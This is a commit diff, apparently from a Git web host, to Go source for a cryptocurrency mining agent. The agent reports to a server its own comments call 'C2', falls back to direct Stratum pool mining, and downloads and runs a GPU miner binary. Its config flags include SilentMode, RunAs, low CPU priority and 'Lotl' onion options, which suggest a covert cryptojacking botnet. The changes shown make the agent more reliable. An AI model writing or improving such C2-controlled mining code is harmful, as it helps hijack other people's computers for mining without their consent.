stats.FailedMethods = make([]MethodFailurePayload, len(ms.FailedMethods))
|
||||
for i, f := range ms.FailedMethods {
|
||||
stats.FailedMethods[i] = MethodFailurePayload{
|
||||
Method: string(f.Method),
|
||||
Reason: f.Reason,
|
||||
At: f.At,
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(ms.ChainOrder) > 0 {
|
||||
stats.ChainOrder = make([]string, len(ms.ChainOrder))
|
||||
for i, m := range ms.ChainOrder {
|
||||
stats.ChainOrder[i] = string(m)
|
||||
}
|
||||
}
|
||||
stats.StratumEgress = c.stratumEgress(ms.StratumOverlay)
|
||||
} else {
|
||||
stats.StratumEgress = c.stratumEgress(false)
|
||||
}
|
||||
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
|
||||
if lastVulnReport != nil {
|
||||
score := lastVulnReport.RiskScore
|
||||
stats.VulnRiskScore = &score
|
||||
if len(lastVulnReport.Findings) > 0 {
|
||||
stats.VulnFindings = make([]VulnFindingPayload, len(lastVulnReport.Findings))
|
||||
for i, f := range lastVulnReport.Findings {
|
||||
stats.VulnFindings[i] = VulnFindingPayload{
|
||||
CVEID: f.CVEID,
|
||||
Severity: f.Severity,
|
||||
Component: f.Component,
|
||||
Patched: f.Patched,
|
||||
ExploitableInFleetContext: f.ExploitableInFleetContext,
|
||||
Detail: f.Detail,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if lane := c.getJoinLane(); lane != "" {
|
||||
stats.JoinLane = lane
|
||||
}
|
||||
payload, _ := json.Marshal(stats)
|
||||
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
|
||||
log.Printf("[agent] stats send failed: %v", err)
|
||||
@@ -982,7 +1152,13 @@ func (c *AgentClient) write(msg Message) error {
|
||||
if c.conn == nil {
|
||||
return fmt.Errorf("not connected")
|
||||
}
|
||||
return c.conn.WriteJSON(msg)
|
||||
// BA-03: set a bounded write deadline so a stalled TCP socket cannot block
|
||||
// WriteJSON indefinitely while holding c.mu, which would deadlock every
|
||||
// other goroutine that needs c.mu (share submission, stats, commands).
|
||||
_ = c.conn.SetWriteDeadline(time.Now().Add(15 * time.Second))
|
||||
err := c.conn.WriteJSON(msg)
|
||||
_ = c.conn.SetWriteDeadline(time.Time{}) // clear deadline after write
|
||||
return err
|
||||
}
|
||||
|
||||
// needsStratumFallback returns true when either:
|
||||
@@ -1016,6 +1192,10 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
||||
if c.cfg.PoolHost == "" {
|
||||
return // no pool configured
|
||||
}
|
||||
if c.cfg.StratumOverWS {
|
||||
log.Printf("[stratum] StratumOverWS enabled — direct pool egress disabled; telemetry via C2 WebSocket")
|
||||
return
|
||||
}
|
||||
|
||||
type fallback struct {
|
||||
stop chan struct{}
|
||||
@@ -1047,6 +1227,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
||||
sc.RunFallback(stop)
|
||||
}()
|
||||
fb = &fallback{stop: stop, wait: wait}
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.SetStratumActive(true)
|
||||
}
|
||||
if c.connected.Load() {
|
||||
log.Printf("[stratum] C2 connected but no job in 15s — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
|
||||
} else {
|
||||
@@ -1060,6 +1243,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
||||
<-fb.wait
|
||||
fb = nil
|
||||
c.pool.SetShareHandler(c.submitShare)
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.SetStratumActive(false)
|
||||
}
|
||||
log.Printf("[stratum] fallback stopped — %s", reason)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -93,8 +93,10 @@ func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner {
|
||||
pauseCh: make(chan struct{}),
|
||||
resumeCh: make(chan struct{}),
|
||||
}
|
||||
// Start with resumeCh closed so the run loop is not blocked.
|
||||
close(g.resumeCh)
|
||||
// pauseCh starts open; waitIfPaused hits the default branch and returns
|
||||
// true immediately, so no pre-close of resumeCh is needed (and
|
||||
// pre-closing it would break the first Pause() — the inner select would
|
||||
// fire on the already-closed channel instead of blocking).
|
||||
return g
|
||||
}
|
||||
|
||||
@@ -436,7 +438,8 @@ func (g *GPUMiner) ensureMinerBinary() (string, error) {
|
||||
}
|
||||
|
||||
func downloadAndExtract(url, destDir, targetFile string) error {
|
||||
resp, err := http.Get(url) //nolint:noctx
|
||||
client := &http.Client{Timeout: 5 * time.Minute}
|
||||
resp, err := client.Get(url)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -444,7 +447,7 @@ func downloadAndExtract(url, destDir, targetFile string) error {
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return fmt.Errorf("HTTP %d from %s", resp.StatusCode, url)
|
||||
}
|
||||
data, err := io.ReadAll(resp.Body)
|
||||
data, err := io.ReadAll(io.LimitReader(resp.Body, 512<<20))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -12,6 +12,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
ThreadPercent: 75,
|
||||
CPUPriority: "below_normal",
|
||||
MiningMode: "always",
|
||||
MinerExecution: "inprocess",
|
||||
DisplayMode: "visible",
|
||||
SilentMode: false,
|
||||
RunAs: "user",
|
||||
@@ -53,5 +54,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
RVNPoolPort: 6060,
|
||||
RVNPoolTLS: false,
|
||||
RVNPoolPass: "x",
|
||||
LotlOnionEnabled: false,
|
||||
LotlPolicyFromServer: false,
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user